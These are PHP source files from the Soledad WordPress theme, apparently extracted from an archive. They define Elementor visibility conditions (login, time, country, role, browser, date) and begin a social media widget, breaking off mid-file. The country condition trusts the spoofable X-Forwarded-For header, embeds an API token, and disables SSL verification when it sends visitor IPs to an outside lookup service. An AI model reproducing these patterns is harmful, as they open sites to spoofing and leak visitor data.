if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Authentication extends Condition {

	
	public function get_name() {
		return 'authentication';
	}

	
	public function get_title() {
		return esc_html__( 'Login Status', 'soledad' );
	}

	
	public function get_group() {
		return 'user';
	}

	
	public function get_control_value() {
		return [
			'type'        => Controls_Manager::SELECT,
			'default'     => 'authenticated',
			'label_block' => true,
			'options'     => [
				'authenticated' => esc_html__( 'Logged in', 'soledad' ),
			],
		];
	}

	
	public function check( $relation, $val ) {
		return $this->compare( is_user_logged_in(), true, $relation );
	}
}
PK     N\\  \  C  inc/elementor/modules/penci-visibility-controls/conditions/time.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use DateTime;
use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Time extends Condition {

	
	public function get_name() {
		return 'time';
	}

	
	public function get_title() {
		return esc_html__( 'Till Time of Day (Server Time)', 'soledad' );
	}

	
	public function get_group() {
		return 'date_time';
	}

	
	public function get_control_value() {
		return [
			'label'          => esc_html__( 'Before', 'soledad' ),
			'type'           => Controls_Manager::DATE_TIME,
			'picker_options' => [
				'dateFormat' => 'H:i',
				'enableTime' => true,
				'noCalendar' => true,
			],
			'label_block'    => true,
			'default'        => '',
		];
	}

	/**
	 * Check the condition
	 *
	 * @param string $relation Comparison operator for compare function
	 * @param mixed $val will check the control value as per condition needs
	 *
	 * @return bool|void
	 * @since 8.5.7
	 */
	public function check( $relation, $val ) {
		// Split control valur into two dates
		$time = date( 'H:i', strtotime( preg_replace( '/\s+/', '', $val ) ) );
		$now  = date( 'H:i', strtotime( 'now' ) + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );

		// Check vars
		if ( DateTime::createFromFormat( 'H:i', $time ) === false ) {
			return;
		}

		// Convert time to timestamp
		$time_ts = strtotime( $time );
		$now_ts  = strtotime( $now );

		// is date between start & end ?
		$show = ( $now_ts <= $time_ts );

		return $this->compare( $show, true, $relation );
	}
}
PK     N\k>j  j  F  inc/elementor/modules/penci-visibility-controls/conditions/country.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Country extends Condition {

	/**
	 * Get the name of condition
	 * @return string as per our condition control name
	 */
	public function get_name() {
		return 'country';
	}

	/**
	 * Get the title of condition
	 * @return string as per condition control title
	 */
	public function get_title() {
		return esc_html__( 'Country', 'soledad' );
	}

	/**
	 * Get the group of condition
	 * @return string as per our condition control name
	 */
	public function get_group() {
		return 'user';
	}

	/**
	 * Get the country
	 * @return array of different languages
	 */
	public function get_control_value() {
		$country_list = array();

		$countries = array(
			'Afghanistan',
			'Albania',
			'Algeria',
			'American Samoa',
			'Andorra',
			'Angola',
			'Anguilla',
			'Antarctica',
			'Antigua and Barbuda',
			'Argentina',
			'Armenia',
			'Aruba',
			'Australia',
			'Austria',
			'Azerbaijan',
			'Bahamas',
			'Bahrain',
			'Bangladesh',
			'Barbados',
			'Belarus',
			'Belgium',
			'Belize',
			'Benin',
			'Bermuda',
			'Bhutan',
			'Bolivia',
			'Bosnia and Herzegowina',
			'Botswana',
			'Bouvet Island',
			'Brazil',
			'British Indian Ocean Territory',
			'Brunei Darussalam',
			'Bulgaria',
			'Burkina Faso',
			'Burundi',
			'Cambodia',
			'Cameroon',
			'Canada',
			'Cape Verde',
			'Cayman Islands',
			'Central African Republic',
			'Chad',
			'Chile',
			'China',
			'Christmas Island',
			'Cocos (Keeling) Islands',
			'Colombia',
			'Comoros',
			'Congo',
			'Congo, the Democratic Republic of the',
			'Cook Islands',
			'Costa Rica',
			"Cote d'Ivoire",
			'Croatia (Hrvatska)',
			'Cuba',
			'Cyprus',
			'Czech Republic',
			'Denmark',
			'Djibouti',
			'Dominica',
			'Dominican Republic',
			'East Timor',
			'Ecuador',
			'Egypt',
			'El Salvador',
			'Equatorial Guinea',
			'Eritrea',
			'Estonia',
			'Ethiopia',
			'Falkland Islands (Malvinas)',
			'Faroe Islands',
			'Fiji',
			'Finland',
			'France',
			'France Metropolitan',
			'French Guiana',
			'French Polynesia',
			'French Southern Territories',
			'Gabon',
			'Gambia',
			'Georgia',
			'Germany',
			'Ghana',
			'Gibraltar',
			'Greece',
			'Greenland',
			'Grenada',
			'Guadeloupe',
			'Guam',
			'Guatemala',
			'Guinea',
			'Guinea-Bissau',
			'Guyana',
			'Haiti',
			'Heard and Mc Donald Islands',
			'Holy See (Vatican City State)',
			'Honduras',
			'Hong Kong',
			'Hungary',
			'Iceland',
			'India',
			'Indonesia',
			'Iran (Islamic Republic of)',
			'Iraq',
			'Ireland',
			'Israel',
			'Italy',
			'Jamaica',
			'Japan',
			'Jordan',
			'Kazakhstan',
			'Kenya',
			'Kiribati',
			"Korea, Democratic People's Republic of",
			'Korea, Republic of',
			'Kuwait',
			'Kyrgyzstan',
			"Lao, People's Democratic Republic",
			'Latvia',
			'Lebanon',
			'Lesotho',
			'Liberia',
			'Libyan Arab Jamahiriya',
			'Liechtenstein',
			'Lithuania',
			'Luxembourg',
			'Macau',
			'Macedonia, The Former Yugoslav Republic of',
			'Madagascar',
			'Malawi',
			'Malaysia',
			'Maldives',
			'Mali',
			'Malta',
			'Marshall Islands',
			'Martinique',
			'Mauritania',
			'Mauritius',
			'Mayotte',
			'Mexico',
			'Micronesia, Federated States of',
			'Moldova, Republic of',
			'Monaco',
			'Mongolia',
			'Montserrat',
			'Morocco',
			'Mozambique',
			'Myanmar',
			'Namibia',
			'Nauru',
			'Nepal',
			'Netherlands',
			'Netherlands Antilles',
			'New Caledonia',
			'New Zealand',
			'Nicaragua',
			'Niger',
			'Nigeria',
			'Niue',
			'Norfolk Island',
			'Northern Mariana Islands',
			'Norway',
			'Oman',
			'Pakistan',
			'Palau',
			'Panama',
			'Papua New Guinea',
			'Paraguay',
			'Peru',
			'Philippines',
			'Pitcairn',
			'Poland',
			'Portugal',
			'Puerto Rico',
			'Qatar',
			'Reunion',
			'Romania',
			'Russian Federation',
			'Rwanda',
			'Saint Kitts and Nevis',
			'Saint Lucia',
			'Saint Vincent and the Grenadines',
			'Samoa',
			'San Marino',
			'Sao Tome and Principe',
			'Saudi Arabia',
			'Scotland',
			'Senegal',
			'Seychelles',
			'Sierra Leone',
			'Singapore',
			'Slovakia (Slovak Republic)',
			'Slovenia',
			'Solomon Islands',
			'Somalia',
			'South Africa',
			'South Georgia and the South Sandwich Islands',
			'Spain',
			'Sri Lanka',
			'St. Helena',
			'St. Pierre and Miquelon',
			'Sudan',
			'Suriname',
			'Svalbard and Jan Mayen Islands',
			'Swaziland',
			'Sweden',
			'Switzerland',
			'Syrian Arab Republic',
			'Taiwan, Province of China',
			'Tajikistan',
			'Tanzania, United Republic of',
			'Thailand',
			'Togo',
			'Tokelau',
			'Tonga',
			'Trinidad and Tobago',
			'Tunisia',
			'Turkey',
			'Turkmenistan',
			'Turks and Caicos Islands',
			'Tuvalu',
			'Uganda',
			'Ukraine',
			'United Arab Emirates',
			'United Kingdom',
			'United States',
			'United States Minor Outlying Islands',
			'Uruguay',
			'Uzbekistan',
			'Vanuatu',
			'Venezuela',
			'Vietnam',
			'Virgin Islands (British)',
			'Virgin Islands (U.S.)',
			'Wales',
			'Wallis and Futuna Islands',
			'Western Sahara',
			'Yemen',
			'Yugoslavia',
			'Zambia',
			'Zimbabwe'
		);

		foreach ( $countries as $country ) {
			$key = strtolower( $country );
			/* translators: %s: Country Name */
			$val                  = sprintf( __( '%s', 'soledad' ), ucwords( $country ) );
			$country_list[ $key ] = $val;
		}

		return array(
			'label'       => __( 'Value', 'soledad' ),
			'type'        => Controls_Manager::SELECT2,
			'label_block' => true,
			'default'     => array(),
			'options'     => $country_list,
			'multiple'    => true,
		);
	}

	/**
	 * Check the condition
	 *
	 * @param string $relation Comparison operator for compare function
	 * @param mixed $val will check the control value as per condition needs
	 *
	 */
	public function check( $relation, $val ) {
		if ( isset( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {

			$x_forward = sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_FORWARDED_FOR'] ) );

			if ( is_array( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {

				$http_x_headers         = explode( ',', filter_var_array( $x_forward ) );
				$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
			} else {
				$_SERVER['REMOTE_ADDR'] = $x_forward;
			}
		}

		$ip_address = isset( $_SERVER['REMOTE_ADDR'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ) : '';

		$country_info = wp_remote_get(
			'https://api.findip.net/' . $ip_address . '/?token=95c3f3ae01a6476e9cd7b1b5155e15ad',
			array(
				'timeout'   => 60,
				'sslverify' => false,
			)
		);

		$country_info = json_decode( wp_remote_retrieve_body( $country_info ), true );

		$country = strtolower( isset( $country_info['country']['names']['en'] ) ? $country_info['country']['names']['en'] : '' );

		$show = is_array( $val ) && ! empty( $val ) ? in_array( $country, $val, true ) : $val == $country;

		return self::compare( $show, true, $relation );
	}

}
PK     N\{  {  B  inc/elementor/modules/penci-visibility-controls/conditions/day.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use DateTime;
use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Day extends Condition {

	
	public function get_name() {
		return 'day';
	}

	
	public function get_title() {
		return esc_html__( 'Day of Week', 'soledad' );
	}

	
	public function get_group() {
		return 'date_time';
	}

	/**
	 * Get the browser
	 * @return array of different days of week
	 * @since  8.5.7
	 */
	public function get_control_value() {
		return [
			'label'       => esc_html__( 'Day(s)', 'soledad' ),
			'type'        => Controls_Manager::SELECT2,
			'options'     => [
				'0' => esc_html__( 'Sunday', 'soledad' ),
				'1' => esc_html__( 'Monday', 'soledad' ),
				'2' => esc_html__( 'Tuesday', 'soledad' ),
				'3' => esc_html__( 'Wednesday', 'soledad' ),
				'4' => esc_html__( 'Thursday', 'soledad' ),
				'5' => esc_html__( 'Friday', 'soledad' ),
				'6' => esc_html__( 'Saturday', 'soledad' ),
			],
			'multiple'    => true,
			'label_block' => true,
			'default'     => '1',
		];
	}

	
	public function check( $relation, $val ) {

		$day = date( 'w', current_time( 'timestamp' ) );

		$show = is_array( $val ) && ! empty( $val ) ? in_array( $day, $val ) : $val === $day;

		return self::compare( $show, true, $relation );
	}
}
PK     N\    I  inc/elementor/modules/penci-visibility-controls/conditions/time_range.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use DateTime;
use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Time_Range extends Condition {

	/**
	 * Get the name of condition
	 * @return string as per our condition control name
	 */
	public function get_name() {
		return 'time_range';
	}

	/**
	 * Get the title of condition
	 * @return string as per condition control title
	 */
	public function get_title() {
		return esc_html__( 'Time Range', 'soledad' );
	}

	/**
	 * Get the group of condition
	 * @return string as per our condition control name
	 */
	public function get_group() {
		return 'date_time';
	}

	/**
	 * Get the control value
	 * @return array as per condition control value
	 */
	public function get_control_value() {
		return [
			'label'          => esc_html__( 'Start Time', 'soledad' ),
			'type'           => Controls_Manager::DATE_TIME,
			'dynamic'        => [ 'active' => true ],
			'picker_options' => [
				'noCalendar' => true,
				'dateFormat' => "H:i",
			],
			'label_block'    => true,
		];
	}

	/**
	 * Check the condition
	 *
	 * @param string $relation Comparison operator for compare function
	 * @param mixed $val will check the control value as per condition needs
	 */
	public function check( $relation, $val, $custom_page_id = false, $extra = false, $addition_operator = false, $end_time = false ) {

		$start_time = date( 'H:i', strtotime( preg_replace( '/\s+/', '', $val ) ) );
		$end_time   = date( 'H:i', strtotime( preg_replace( '/\s+/', '', $end_time ) ) );
		$now        = date( 'H:i', strtotime( "now" ) + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );

		if ( DateTime::createFromFormat( 'H:i', $start_time ) === false && DateTime::createFromFormat( 'H:i', $end_time ) === false ) // Make sure it's a valid DateTime format
		{
			return;
		}

		$start_time = strtotime( $start_time );
		$end_time   = strtotime( $end_time );
		$now        = strtotime( $now );

		// Check that user date is between start & end
		$show = ( ( $now >= $start_time && $now <= $end_time ) );

		return $this->compare( $show, true, $relation );
	}
}
PK     N\ߗ    C  inc/elementor/modules/penci-visibility-controls/conditions/role.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Role extends Condition {

	
	public function get_name() {
		return 'role';
	}

	
	public function get_title() {
		return esc_html__( 'User Role', 'soledad' );
	}

	
	public function get_group() {
		return 'user';
	}

	
	public function get_control_value() {
		global $wp_roles;

		return [
			'type'        => Controls_Manager::SELECT,
			'description' => esc_html__( 'Warning: This condition applies only to logged in visitors.', 'soledad' ),
			'default'     => 'subscriber',
			'label_block' => true,
			'options'     => $wp_roles->get_names(),
		];
	}

	
	public function check( $relation, $val ) {
		$user_role = wp_get_current_user()->roles;

		return $this->compare( is_user_logged_in() && in_array( $val, $user_role ), true, $relation );
	}
}
PK     N\9#P    A  inc/elementor/modules/penci-visibility-controls/conditions/os.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Os extends Condition {

	
	public function get_name() {
		return 'os';
	}

	
	public function get_title() {
		return esc_html__( 'Operating System', 'soledad' );
	}

	
	public function get_group() {
		return 'system';
	}

	
	public function get_control_value() {
		return [
			'type'        => Controls_Manager::SELECT,
			'default'     => array_keys( $this->get_os_options() )[0],
			'label_block' => true,
			'options'     => $this->get_os_options(),
		];
	}

	/**
	 * Get the operating system
	 * @return array of different types of operating system
	 * @since  8.5.7
	 */
	protected function get_os_options() {
		return [
			'iphone'   => 'iPhone',
			'android'  => 'Android',
			'windows'  => 'Windows',
			'open_bsd' => 'OpenBSD',
			'sun_os'   => 'SunOS',
			'linux'    => 'Linux',
			'mac_os'   => 'Mac OS',
		];
	}

	
	public function check( $relation, $val ) {
		$oses = [
			'iphone'   => '(iPhone)',
			'android'  => '(Android)',
			'windows'  => 'Win16|(Windows 95)|(Win95)|(Windows_95)|(Windows 98)|(Win98)|(Windows NT 5.0)|(Windows 2000)|(Windows NT 5.1)|(Windows XP)|(Windows NT 5.2)|(Windows NT 6.0)|(Windows Vista)|(Windows NT 6.1)|(Windows 7)|(Windows NT 4.0)|(WinNT4.0)|(WinNT)|(Windows NT)|Windows ME',
			'open_bsd' => 'OpenBSD',
			'sun_os'   => 'SunOS',
			'linux'    => '(Linux)|(X11)',
			'mac_os'   => '(Mac_PowerPC)|(Macintosh)',
		];

		return $this->compare( preg_match( '@' . $oses[ $val ] . '@', $_SERVER['HTTP_USER_AGENT'] ), true, $relation );
	}
}
PK     N\V  V  G  inc/elementor/modules/penci-visibility-controls/conditions/language.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Language extends Condition {

	/**
	 * Get the name of condition
	 * @return string as per our condition control name
	 */
	public function get_name() {
		return 'language';
	}

	/**
	 * Get the title of condition
	 * @return string as per condition control title
	 */
	public function get_title() {
		return esc_html__( 'Site Language', 'soledad' );
	}

	/**
	 * Get the group of condition
	 * @return string as per our condition control name
	 */
	public function get_group() {
		return 'system';
	}

	/**
	 * Get the control value
	 * @return array as per condition control value
	 */
	public function get_control_value() {
		$lang_locales = array();

		$langs = array(
			'af'    => array( 'name' => 'Afrikaans', 'code' => 'af', 'wp_locale' => 'af', ),
			'sq'    => array( 'name' => 'Albanian', 'code' => 'sq', 'wp_locale' => 'sq', ),
			'ar'    => array( 'name' => 'Arabic', 'code' => 'ar', 'wp_locale' => 'ar', ),
			'bel'   => array( 'name' => 'Belarusian', 'code' => 'bel', 'wp_locale' => 'bel', ),
			'bn_BD' => array( 'name' => 'Bengali', 'code' => 'bn', 'wp_locale' => 'bn_BD', ),
			'bs_BA' => array( 'name' => 'Bosnian', 'code' => 'bs', 'wp_locale' => 'bs_BA', ),
			'bg_BG' => array( 'name' => 'Bulgarian', 'code' => 'bg', 'wp_locale' => 'bg_BG', ),
			'ca'    => array( 'name' => 'Catalan', 'code' => 'ca', 'wp_locale' => 'ca', ),
			'zh_CN' => array( 'name' => 'Chinese (China)', 'code' => 'zh-cn', 'wp_locale' => 'zh_CN', ),
			'zh_HK' => array( 'name' => 'Chinese (Hong Kong)', 'code' => 'zh-hk', 'wp_locale' => 'zh_HK', ),
			'hr'    => array( 'name' => 'Croatian', 'code' => 'hr', 'wp_locale' => 'hr', ),
			'cs_CZ' => array( 'name' => 'Czech', 'code' => 'cs', 'wp_locale' => 'cs_CZ', ),
			'da_DK' => array( 'name' => 'Danish', 'code' => 'da', 'wp_locale' => 'da_DK', ),
			'nl_NL' => array( 'name' => 'Dutch', 'code' => 'nl', 'wp_locale' => 'nl_NL', ),
			'nl_BE' => array( 'name' => 'Dutch (Belgium)', 'code' => 'nl-be', 'wp_locale' => 'nl_BE', ),
			'en_US' => array( 'name' => 'English', 'code' => 'en', 'wp_locale' => 'en_US', ),
			'en_AU' => array( 'name' => 'English (Australia)', 'code' => 'en-au', 'wp_locale' => 'en_AU', ),
			'en_CA' => array( 'name' => 'English (Canada)', 'code' => 'en-ca', 'wp_locale' => 'en_CA', ),
			'en_GB' => array( 'name' => 'English (UK)', 'code' => 'en-gb', 'wp_locale' => 'en_GB', ),
			'et'    => array( 'name' => 'Estonian', 'code' => 'et', 'wp_locale' => 'et', ),
			'fi'    => array( 'name' => 'Finnish', 'code' => 'fi', 'wp_locale' => 'fi', ),
			'fr_BE' => array( 'name' => 'French (Belgium)', 'code' => 'fr-be', 'wp_locale' => 'fr_BE', ),
			'fr_FR' => array( 'name' => 'French (France)', 'code' => 'fr', 'wp_locale' => 'fr_FR', ),
			'ka_GE' => array( 'name' => 'Georgian', 'code' => 'ka', 'wp_locale' => 'ka_GE', ),
			'de_DE' => array( 'name' => 'German', 'code' => 'de', 'wp_locale' => 'de_DE', ),
			'de_CH' => array( 'name' => 'German (Switzerland)', 'code' => 'de-ch', 'wp_locale' => 'de_CH', ),
			'el'    => array( 'name' => 'Greek', 'code' => 'el', 'wp_locale' => 'el', ),
			'he_IL' => array( 'name' => 'Hebrew', 'code' => 'he', 'wp_locale' => 'he_IL', ),
			'hi_IN' => array( 'name' => 'Hindi', 'code' => 'hi', 'wp_locale' => 'hi_IN', ),
			'hu_HU' => array( 'name' => 'Hungarian', 'code' => 'hu', 'wp_locale' => 'hu_HU', ),
			'is_IS' => array( 'name' => 'Icelandic', 'code' => 'is', 'wp_locale' => 'is_IS', ),
			'id_ID' => array( 'name' => 'Indonesian', 'code' => 'id', 'wp_locale' => 'id_ID', ),
			'ga'    => array( 'name' => 'Irish', 'code' => 'ga', 'wp_locale' => 'ga', ),
			'it_IT' => array( 'name' => 'Italian', 'code' => 'it', 'wp_locale' => 'it_IT', ),
			'ja'    => array( 'name' => 'Japanese', 'code' => 'ja', 'wp_locale' => 'ja', ),
			'kn'    => array( 'name' => 'Kannada', 'code' => 'kn', 'wp_locale' => 'kn', ),
			'ko_KR' => array( 'name' => 'Korean', 'code' => 'ko', 'wp_locale' => 'ko_KR', ),
			'lt_LT' => array( 'name' => 'Lithuanian', 'code' => 'lt', 'wp_locale' => 'lt_LT', ),
			'lb_LU' => array( 'name' => 'Luxembourgish', 'code' => 'lb', 'wp_locale' => 'lb_LU', ),
			'ml_IN' => array( 'name' => 'Malayalam', 'code' => 'ml', 'wp_locale' => 'ml_IN', ),
			'ne_NP' => array( 'name' => 'Nepali', 'code' => 'ne', 'wp_locale' => 'ne_NP', ),
			'nb_NO' => array( 'name' => 'Norwegian (Bokmål)', 'code' => 'no', 'wp_locale' => 'nb_NO', ),
			'fa_IR' => array( 'name' => 'Persian', 'code' => 'fa', 'wp_locale' => 'fa_IR', ),
			'pl_PL' => array( 'name' => 'Polish', 'code' => 'pl', 'wp_locale' => 'pl_PL', ),
			'pt_BR' => array( 'name' => 'Portuguese (Brazil)', 'code' => 'pt-br', 'wp_locale' => 'pt_BR', ),
			'pt_PT' => array( 'name' => 'Portuguese (Portugal)', 'code' => 'pt', 'wp_locale' => 'pt_PT', ),
			'ro_RO' => array( 'name' => 'Romanian', 'code' => 'ro', 'wp_locale' => 'ro_RO', ),
			'ru_RU' => array( 'name' => 'Russian', 'code' => 'ru', 'wp_locale' => 'ru_RU', ),
			'ru_UA' => array( 'name' => 'Russian (Ukraine)', 'code' => 'ru-ua', 'wp_locale' => 'ru_UA', ),
			'sr_RS' => array( 'name' => 'Serbian', 'code' => 'sr', 'wp_locale' => 'sr_RS', ),
			'sk_SK' => array( 'name' => 'Slovak', 'code' => 'sk', 'wp_locale' => 'sk_SK', ),
			'sl_SI' => array( 'name' => 'Slovenian', 'code' => 'sl', 'wp_locale' => 'sl_SI', ),
			'azb'   => array( 'name' => 'South Azerbaijani', 'code' => 'azb', 'wp_locale' => 'azb', ),
			'es_ES' => array( 'name' => 'Spanish (Spain)', 'code' => 'es', 'wp_locale' => 'es_ES', ),
			'sv_SE' => array( 'name' => 'Swedish', 'code' => 'sv', 'wp_locale' => 'sv_SE', ),
			'th'    => array( 'name' => 'Thai', 'code' => 'th', 'wp_locale' => 'th', ),
			'tr_TR' => array( 'name' => 'Turkish', 'code' => 'tr', 'wp_locale' => 'tr_TR', ),
			'uk'    => array( 'name' => 'Ukrainian', 'code' => 'uk', 'wp_locale' => 'uk', ),
			'vi'    => array( 'name' => 'Vietnamese', 'code' => 'vi', 'wp_locale' => 'vi', ),
		);

		foreach ( $langs as $lang => $props ) {
			/* translators: %s: Language Name */
			$val                   = ucwords( $props['name'] );
			$lang_locales[ $lang ] = $val;
		}

		return array(
			'label'       => __( 'Value', 'soledad' ),
			'type'        => Controls_Manager::SELECT2,
			'label_block' => true,
			'default'     => array(),
			'options'     => $lang_locales,
			'multiple'    => true,
		);
	}

	/**
	 * Check the condition
	 *
	 * @param string $relation Comparison operator for compare function
	 * @param mixed $val will check the control value as per condition needs
	 *
	 */
	public function check( $relation, $val ) {
		$current_language = function_exists( 'get_locale' ) ? get_locale() : false;

		if ( ! $current_language || empty( $val ) ) {
			return;
		}

		$show = in_array( $current_language, (array) $val, true ) ? true : false;

		return $this->compare( $show, true, $relation );
	}
}
PK     N\Q#!K	  	  F  inc/elementor/modules/penci-visibility-controls/conditions/browser.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Browser extends Condition {

	
	public function get_name() {
		return 'browser';
	}

	
	public function get_title() {
		return esc_html__( 'Browser', 'soledad' );
	}

	
	public function get_group() {
		return 'system';
	}

	
	public function get_control_value() {
		return [
			'type'        => Controls_Manager::SELECT,
			'default'     => array_keys( $this->get_browser_options() )[0],
			'label_block' => true,
			'options'     => $this->get_browser_options(),
		];
	}

	
	protected function get_browser_options() {
		return [
			'ie'      => 'Internet Explorer',
			'firefox' => 'Mozilla Firefox',
			'chrome'  => 'Google Chrome',
			'opera'   => 'Opera',
			'safari'  => 'Safari',
			'edge'    => 'Microsoft Edge',
		];
	}

	
	public function check( $relation, $val ) {
		$browsers = [
			'ie'      => [ 'MSIE', 'Trident', ],
			'firefox' => 'Firefox',
			'chrome'  => 'Chrome',
			'opera'   => 'OPR',
			'safari'  => 'Safari',
			'edge'    => [ 'Edg', 'Edge' ],
		];

		$show = false;

		if ( 'ie' === $val || 'edge' === $val ) {
			if ( false !== strpos( $_SERVER['HTTP_USER_AGENT'], $browsers[ $val ][0] ) || false !== strpos( $_SERVER['HTTP_USER_AGENT'], $browsers[ $val ][1] ) ) {
				$show = true;
			}
		} elseif ( 'opera' === $val ) {
			if ( false !== strpos( $_SERVER['HTTP_USER_AGENT'], 'OPR' ) ) {
				$show = true;
			}
		} elseif ( 'chrome' === $val ) {
			if ( false !== strpos( $_SERVER['HTTP_USER_AGENT'], 'Chrome' ) ) {
				$show = true;
				if ( false !== strpos( $_SERVER['HTTP_USER_AGENT'], 'OPR' ) ) {
					$show = false;
				}
				if ( false !== strpos( $_SERVER['HTTP_USER_AGENT'], 'Edg' ) ) {
					$show = false;
				}

			}
		} elseif ( 'firefox' === $val ) {
			if ( false !== strpos( $_SERVER['HTTP_USER_AGENT'], 'Firefox' ) ) {
				$show = true;
			}
		} elseif ( 'safari' === $val ) {
			if ( false !== strpos( $_SERVER['HTTP_USER_AGENT'], 'Safari' ) ) {
				$show = true;
				if ( false !== strpos( $_SERVER['HTTP_USER_AGENT'], 'Chrome' ) ) {
					$show = false;
				}
			}
		}

		return $this->compare( $show, true, $relation );
	}
}
PK     N\[f    C  inc/elementor/modules/penci-visibility-controls/conditions/date.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use DateTime;
use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Date extends Condition {

	
	public function get_name() {
		return 'date';
	}

	
	public function get_title() {
		return esc_html__( 'Date Range', 'soledad' );
	}

	
	public function get_group() {
		return 'date_time';
	}

	
	public function get_control_value() {
		$default_date_start = date( 'Y-m-d', strtotime( '-3 day' ) + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );
		$default_date_end   = date( 'Y-m-d', strtotime( '+3 day' ) + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );
		$default_interval   = $default_date_start . ' to ' . $default_date_end;

		return [
			'label'          => esc_html__( 'In interval', 'soledad' ),
			'type'           => Controls_Manager::DATE_TIME,
			'dynamic'        => [ 'active' => true ],
			'picker_options' => [
				'enableTime' => false,
				'mode'       => 'range',
			],
			'label_block'    => true,
			'default'        => $default_interval,
		];
	}

	
	public function check( $relation, $val ) {

		if ( ! $val ) {
			return;
		}

		$range = explode( 'to', preg_replace( '/\s+/', '', $val ) );

		if ( ! is_array( $range ) || 2 !== count( $range ) ) {
			return;
		}

		$start_date = $range[0];
		$end_date   = $range[1];
		$today      = date( 'Y-m-d' );

		if ( DateTime::createFromFormat( 'Y-m-d', $start_date ) === false || // Make sure it's a date
		     DateTime::createFromFormat( 'Y-m-d', $end_date ) === false ) // Make sure it's a date
		{
			return;
		}

		$start_date = strtotime( $start_date ) + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
		$end_date   = strtotime( $end_date ) + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
		$today      = strtotime( $today ) + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );

		$show = ( ( $today >= $start_date ) && ( $today <= $end_date ) );

		return $this->compare( $show, true, $relation );
	}
}
PK     N\p    3  inc/elementor/modules/penci-social-media/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciSocialMedia;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-social-media';
	}

	public function get_widgets() {
		return array( 'PenciSocialMedia' );
	}
}
PK     N\7M*  M*  G  inc/elementor/modules/penci-social-media/widgets/penci-social-media.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciSocialMedia\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Group_Control_Typography;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciSocialMedia extends Base_Widget {

	public function get_name() {
		return 'penci-social-media';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Widget Social Media', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-share';
	}

	public function get_categories() {
		return array( 'penci-elements' );
	}

	public function get_keywords() {
		return array( 'social media' );
	}

	protected function register_controls() {

		$this->start_controls_section(
			'section_general',
			array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'social_desc',
			array(
				'type'            => Controls_Manager::RAW_HTML,
				'raw'             => 'Note: You can setup the URL for each social media icon via <strongAppearance > Customize > Social Media</strong>',
				'content_classes' => 'elementor-descriptor',
			)
		);
		$this->add_control(
			'text_right',
			array(
				'label'     => __( 'Display Social Text on Right Icons', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
			)
		);
		$this->add_control(
			'alignment',
			array(
				'label'   => __( 'Alignment', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'pc_alignleft',
				'options' => array(
					'pc_aligncenter' => esc_html__( 'Center', 'soledad' ),
					'pc_alignleft'   => esc_html__( 'Left', 'soledad' ),
					'pc_alignright'  => esc_html__( 'Right', 'soledad' ),
				),
			)
		);
		$this->add_control(
			'dis_circle',
			array(
				'label'     => __( 'Remove Border Around Icons ?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
